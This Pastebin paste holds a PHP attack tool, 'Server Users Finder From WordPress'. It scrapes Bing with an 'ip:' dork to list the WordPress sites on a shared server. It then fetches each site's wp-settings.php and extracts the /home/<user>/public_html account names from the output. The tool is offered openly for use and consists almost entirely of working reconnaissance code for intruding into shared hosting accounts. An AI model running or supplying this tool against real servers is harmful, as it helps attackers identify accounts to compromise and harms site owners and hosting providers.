Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <pre><center>
- Server Users Finder From WordPress
- <form method='get' action=''>
- IP : <input type=text name=ip><input type=submit value='Get P:'>
- </form>
- <?
- error_reporting(0);
- if($_GET['ip']){
- $search = new ss_bing();
- $wp_sites = $search->search("ip:".$_GET['ip']." /page_id=",0);
- foreach($wp_sites as $wp){
- if(eregi('page_id',$wp)){ $cs[]=wp($wp); }
- }
- if(count($cs) == 0){
- echo "Nothing Found !";
- die();
- }
- $all_clean_wp = array_unique($cs);
- echo "<table border=1 align=center width=50%>";
- echo "<tr><td colspan=2 align=center># Extract : [ ".count($all_clean_wp)." Site ]</td><tr>";
- echo "<tr><td align=center>wpSite</td><td align=center>User</td></tr>";
- foreach($all_clean_wp as $swp){
- echo "<tr><td>$swp</td><td>".wp_get_user($swp)."</td></tr>";
- }
- echo "</table>\n\n";
- }
- # Class & Funcs ..
- function wp($site){ preg_match_all("#(.*?)?page_id#",$site,$res); return str_replace("?","",$res[1][0]); }
- function wp_get_user($wp){
- $source = @implode(@file($wp.'wp-settings.php'));
- if($source){ preg_match_all("#/home/(.*?)/public_html/#",$source,$res); }
- if($res[1][0]){ return $res[1][0];}else{ return "n0t_Found"; }
- }
- class ss_bing{
- public function search($wht,$url_mode){ // $wht = > search , $url_mode=1 => clean url (http://site.tld/) $url_mode=0 => not clean (http://site.tdl/page=google)
- $wht = str_replace(" ","+",$wht);
- $npages = 50000;
- $npage = 1;
- $allLinks = array();
- while($npage <= $npages)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'http://www.bing.com/search?q='.$wht.'&first='.$npage);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/');
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
- $result['EXE'] = curl_exec($ch);
- $result['ERR'] = curl_error($ch);
- curl_close($ch);
- if (!$result['ERR'])
- {
- preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result['EXE'], $findlink);
- for ($i = 0; $i < count($findlink[1]); $i++)
- $mode = ($url_mode == 1) ? $allLinks[] = $this->clean_url($findlink[1][$i]) : $allLinks[] = $findlink[1][$i];
- $npage = $npage + 10;
- if (preg_match('(first=' . $npage . '&)siU', $result['EXE'], $linksuiv) == 0)
- break;
- }
- else
- break;
- }
- foreach ($allLinks as $kk => $vv){ $allDmns[] = $vv; }
- return array_unique($allDmns);
- }
- public function clean_url($x){ $z=parse_url($x); return $z['scheme']."://".$z['host']."/";; }
- }
- ?>
- Coded By <font color=red>Inconnu Dz</font>
Add Comment
Please, Sign In to add comment